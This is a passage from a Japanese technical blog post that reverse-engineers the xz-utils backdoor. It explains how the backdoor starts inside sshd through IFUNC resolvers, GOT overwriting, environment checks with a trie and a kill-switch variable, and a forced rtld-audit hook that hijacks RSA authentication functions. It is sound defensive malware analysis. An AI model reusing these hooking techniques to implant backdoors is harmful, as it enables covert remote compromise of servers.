libtirpc.so.3 => /lib/x86_64-linux-gnu/libtirpc.so.3 (0x00007f0845e5d000)
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007f0845e37000)
なお、Ubuntu環境の同パッケージにて、systemd-readiness.patchだけを除外してビルドした場合は以下のようにlibsystemd.so, liblzma.so.5はリンクされません。
ldd debian/openssh-server/usr/sbin/sshd
$ ldd debian/openssh-server/usr/sbin/sshd
linux-vdso.so.1 (0x00007ffd1afe4000)
libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f327f765000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007f327f737000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f327f725000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f327f2e1000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f327f2c5000)
libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f327f289000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f327f25d000)
libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007f327f209000)
libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007f327f13e000)
libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007f327f138000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f327ef0f000)
libnsl.so.2 => /lib/x86_64-linux-gnu/libnsl.so.2 (0x00007f327eef3000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007f327eeeb000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f327ee54000)
/lib64/ld-linux-x86-64.so.2 (0x00007f327f860000)
libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007f327ee25000)
libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007f327ee17000)
libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007f327ee0e000)
libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007f327edfa000)
libtirpc.so.3 => /lib/x86_64-linux-gnu/libtirpc.so.3 (0x00007f327edcc000)
sshd起動時の処理
上記のように、sshdを起動するとバックドアのコードが含まれたliblzma.so.5がロードされ、ロード時(main処理開始前)にIFUNC機能によるリゾルバ関数から _get_cpuid()関数を実行することによってバックドアの処理が開始されます。
以降では、バックドア処理の詳細を見ていきます。
バックドア処理
バックドア処理の目的と流れ
sshd起動時のバックドア処理の目的は、以下の認証に関連する処理をハイジャックすることです。以下の3つの関数がターゲットとされており、いずれか1つだけの処理を置き換えます。
これらの関数はlibcrypto.soに含まれております。Ubuntuではこのライブラリはlibssl3パッケージに含まれています。
$ apt-file search /usr/lib/x86_64-linux-gnu/libcrypto.so.3
libssl3: /usr/lib/x86_64-linux-gnu/libcrypto.so.3
$ readelf -sW /usr/lib/x86_64-linux-gnu/libcrypto.so.3 | grep -E '(RSA_public_decrypt|EVP_PKEY_set1_RSA|RSA_get0_key)'
2148: 00000000001edb30 11 FUNC GLOBAL DEFAULT 15 RSA_public_decrypt@@OPENSSL_3.0.0
3465: 00000000001a5e20 67 FUNC GLOBAL DEFAULT 15 EVP_PKEY_set1_RSA@@OPENSSL_3.0.0
3914: 00000000001edd60 41 FUNC GLOBAL DEFAULT 15 RSA_get0_key@@OPENSSL_3.0.0
上記の関数をハイジャックするには、Linuxの動的リンカ(dynamic linker)が持つrtld-audit機能のla_symbind64()インターフェースを使用しています。このインターフェースを使用することで、共有ライブラリのロードやシンボル解決プロセスにフックを挿入できます。
実際には以下の流れで処理が実行されます。
- _get_cpuid()関数内にて_cpuid()のGOTを書き換え、バックドア処理のエントリーポイントに移る
- 実行環境をチェックし、主にデバッグに関連する環境変数が設定されている場合は処理を継続しない
- rtld-audit機能のla_symbind64()インターフェースを使用して、関数(シンボル)がロードされたときのフックを設定する
- シンボルロード毎にla_symbind64()によって設定されたフックが実行され、ターゲットとする関数のGOTを書き換える
①_get_cpuid()関数内にて_cpuid()のGOTを書き換え
Global Offset Table (GOT)
Global Offset Table (GOT)は、動的リンクやポジション独立コード(PIC: Position-Independent Code)をサポートするためのデータ構造で、主に共有ライブラリや実行ファイルがメモリ上の正しいアドレスへアクセスできるようにする役割を持ちます。具体的には共有ライブラリ等の外部関数のアドレスをテーブルで持ち、関数が呼ばれた際にはそのアドレスを参照して処理を実行します。
GOT Overwrite攻撃という攻撃者がGOTエントリを書き換え、悪意のあるコードに制御を移す攻撃があり、このバックドアでも使用されています。IFUNC機能で触れたように、GOT Overwrite攻撃ができないようなRELRO設定になっていますが、遅延バインドを無効にしてIFUNC機能を使うことにより、GOTテーブルを書き込み不可にする前にこのバックドア処理が実行されています。
処理内容
IFUNC機能により、crc32_resolve(), crc64_resolve()から_get_cpuid()関数が実行されます。
処理中ではグローバルのカウンターを持っており、crc32_resolve()から呼ばれた1回目はバックドア処理はスキップされ、crc64_resolve()から呼ばれた2回目のみに一度だけ実行されます。
処理の中で_cpuid()のGOT書き換えて_cpuid()を実行し、その後元のGOTもとに戻しています。この_cpuid()実行がバックドア処理の実質のエントリーポイントになります。
②実行環境をチェック
トライ木による文字列比較
バックドア処理の中ではELFヘッダチェック、プロセス名チェック、環境変数チェックなど様々な文字列比較を行いますが、バイナリの中ではそのままの文字列として保持していないため、stringsコマンドでも抽出することができません。処理中ではトライ木を持っており、それを使用して文字列比較を行っております。
比較対象となる文字列を元にツリー構造を辿り、得た数値と想定する数値を比較することによって文字列比較を実現しています。例えば、/usr/sbin/sshd\x00
という文字列には0x108という数値が割り当てられております。
実装としては2つのテーブルでトライ木を実現しています。テーブル1は4バイトで1つの情報を表し、テーブル1,2のオフセット情報とフラグ(オフセットの方向、ノード終端かどうか)を持っています。テーブル2は実際の文字データ(2進表記で下位ビットの0が連続する個数でアスキーコードを表現)とインデックス情報を持っています。バックドア処理としてはlookup処理のみを持ち、insertする処理はありません。
トライ木の実データとpythonでの実装、トライ木をトラバースした結果は以下にあります。トライ木のデータは5.6.0と5.6.1のどちらでも同じです。
処理内容
以下のチェックが実施され、条件を満たさない場合は処理を継続しません。
- 実行しているプロセス名(argv[0])が /usr/sbin/sshd になっているか
- sshdのオプションに
-d
が指定されていないか - トライ木に登録されている文字列が環境変数として設定されていないか
プロセス名(argv[0])と環境変数はスタック上にある情報を取得しています。
プロセス名は上記のトライ木を利用して/usr/sbin/sshd
になっているかを確認しています。実行パスが/usr/local/sbin/sshdになっている場合や、他のバイナリがliblzma.so.5をリンクしている場合はバックドアが動作しないようになっています。
また、実行時の環境変数もチェックしており、LD_DEBUG等のリンカ設定や端末設定など、解析に関連するようなものが設定されている場合にはバックドアを無効化するようになっています。他の解説でキルスイッチと呼ばれているyolAbejyiejuvnup=Evjtgvsh5okmkAvj
や特定の環境変数が設定されていたりするとバックドアが無効化されますが、実際はこれらが特別に処理されているわけではなく、トライ木に登録されている文字列が環境変数として設定されている場合は無効化されます。例えば、トライ木に登録されているauthenticating
は環境変数を想定したものではありませんが、これを環境変数として設定するとバックドアは無効化されます。
$ time env -i LD_LIBRARY_PATH=/home/naoki/lib /usr/sbin/sshd -h
(略)
real 0m0.320s
user 0m0.214s
sys 0m0.098s
$ time env -i LD_LIBRARY_PATH=/home/naoki/lib yolAbejyiejuvnup=Evjtgvsh5okmkAvj /usr/sbin/sshd -h
(略)
real 0m0.017s
user 0m0.012s
sys 0m0.000s
$ time env -i LD_LIBRARY_PATH=/home/naoki/lib authenticating= /usr/sbin/sshd -h
(略)
real 0m0.018s
user 0m0.013s
sys 0m0.000s
③la_symbind64によりシンボルロード時のフックを設定
rtld-audit機能のla_symbind64インターフェース
rtld-audit機能はglibcで提供される動的リンカが持つ機能で、動的リンクプロセスを監視・カスタマイズするためのインターフェースを提供します。これにより、動的ライブラリロードの監視やシンボル解決の監視が可能になります。
このバックドアにおいては、la_symbind64というインタフェースを強制的に設定することにより、リンカがシンボルを解決するときに実行する処理をフックします。
処理内容
実行環境チェック後はrtld-auditの設定を行います。
バックドア処理の目的と流れの記載通り、目的はlibcrypto.so内にある3つの関数のいずれかをハイジャックする(GOTを書き換える)ことです。ただ、この処理が実行されているタイミング(IFUNC機能のリゾルバ関数から_get_cpuid()が実行されているタイミング)ではlibcrypto.soはまだロードされていないため、該当関数のGOTを直接変更することはできません。
そのため、リンカがシンボルを解決するときに実行する処理をフックすることにより、実際そのシンボル(関数)がロードされたタイミングでGOTを書き換えています。
rtld-auditの設定を実施するにあたり、正規の設定インタフェースを呼び出すのではなく、メモリ上からリンカが持つrtld-auditの設定に関する領域を探し出し、直接書き換えることによって強制的にフックを設定しています。
これにより、このあとシンボルがロードされるたびにフック処理が実行されることになります。
以下はrtld-audit設定に関する動作をgdbで確認した結果です。
④フック処理でGOTを書換え
処理内容
上記③で設定したフック処理は、リンカがシンボルをロードするたびに呼び出されます。フック処理は共通処理であるため、実行されるたびにシンボル名がターゲットの3関数であるかを確認し、そうであればGOTを書き換えています。
3関数のうち1つでも書き換えが成功すると、そのフック処理の最後でrtld-auditの設定を元に戻しており、これ以降このフックは呼び出されません。
sshd起動時のバックドア初期化処理としては以上となり、これ以降ssh接続があった場合には上記でハイジャックされた関数が実行され、正規の認証処理とは異なる処理が実行されることにより、攻撃者(Jia Tan)は任意のコマンドを実行できる状態になります。
最後に
ここでは、ソースコードからビルドし、sshd起動によりバックドアが有効になるところまでを解説しました。このあと、このバックドアがどのように悪用されるかについては、以下のサイトが参考になると思います。
- binarly-io / binary-risk-intelligence
- XZ backdoor: Hook analysis
- The XZ Backdoor Story
- https://github.com/amlweems/xzbot
参考
xz backdoor
- https://www.openwall.com/lists/oss-security/2024/03/29/4
- https://github.com/binarly-io/binary-risk-intelligence/
- https://github.com/luvletter2333/xz-backdoor-analysis
- https://securelist.com/xz-backdoor-story-part-1/112354/
- https://securelist.com/xz-backdoor-part-3-hooking-ssh/113007/
- https://medium.com/@knownsec404team/analysis-of-the-xz-utils-backdoor-code-d2d5316ac43f
- https://medium.com/@knownsec404team/techniques-learned-from-the-xz-backdoor-74b0a8d45c30
- https://www.youtube.com/watch?v=Q6ovtLdSbEA
- https://github.com/amlweems/xzbot
- https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
- https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752
- https://speakerdeck.com/fr0gger/the-xz-backdoor-story
- https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
- https://gynvael.coldwind.pl/?lang=en&id=782
- https://research.swtch.com/xz-script
- https://jpn.nec.com/cybersecurity/blog/240809/index.html
- https://qiita.com/beardog/items/7dddf1669d49f3e298dc
- https://piyolog.hatenadiary.jp/entry/2024/04/01/035321
- https://www.monitorapp.com/ja/2024年6月脆弱性レポート-xz-utils-backdoor/
- https://qiita.com/phoepsilonix/items/eed3d82d89851f330aab
ArchLinux
- https://wiki.archlinux.jp/index.php/インストールガイド
- https://qiita.com/Gen-Arch/items/da296b7cbe5d87abc5a4
- https://mako-note.com/ja/archlinux-install/
Ubuntu
GCC
- https://www.gnu.org/software/libtool/manual/html_node/Creating-object-files.html
- https://man7.org/linux/man-pages/man7/rtld-audit.7.html
- https://qiita.com/kaityo256/items/a822fc462a4de6ddd8e7
- https://gcc.gnu.org/onlinedocs/gnat_ugn/Compilation-options.html
- https://kubo39.hatenablog.com/entry/2020/05/25/partialRELRO/fullRELRO、あるいは-fno-pltの話
IFUNC
- https://a-kawashiro.hatenablog.com/entry/2021/11/07/100540
- https://sourceware.org/glibc/wiki/GNU_IFUNC
- https://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html
- https://gcc.gnu.org/onlinedocs/gcc/Common-Function-Attributes.html#index-ifunc-function-attribute
GLIBC
LZMA
- https://github.com/jljusten/LZMA-SDK/blob/master/DOC/lzma-specification.txt
- https://github.com/kornelski/7z/blob/main/C/Lzma2Dec.c
- https://www.sunshine2k.de/coding/javascript/crc/crc_js.html
ELF
- https://www.slideshare.net/slideshow/startprintf2-elf/24689784
- https://drumato.hatenablog.com/entry/2019/05/16/201234
Autotools
- https://ja.wikipedia.org/wiki/Autotools
- https://web.sfc.wide.ad.jp/~sagawa/gnujdoc/autoconf-2.59/index.html
- https://www.miraclelinux.com/tech-blog/reqys8
- https://ayatakesi.github.io/gettext/0.18.3/html/autopoint-Invocation.html
アセンブリ
コマンド
その他
- 実践バイナリ解析 バイナリ計装、解析、逆アセンブリのためのLinuxツールの作り方 (ISBN-13: 978-4048931007)
- リバースエンジニアリングツールGhidra実践ガイド ~セキュリティコンテスト入門からマルウェア解析まで~ (ISBN-13: 978-4839973773)
- Binary Hacks Rebooted —低レイヤの世界を探検するテクニック89選 (ISBN-13: 978-4814400850)
- https://ja.wikipedia.org/wiki/トライ_(データ構造)
- https://wa3.i-3-i.info/word12296.html
- https://kotonohaworks.com/free-icons/folder/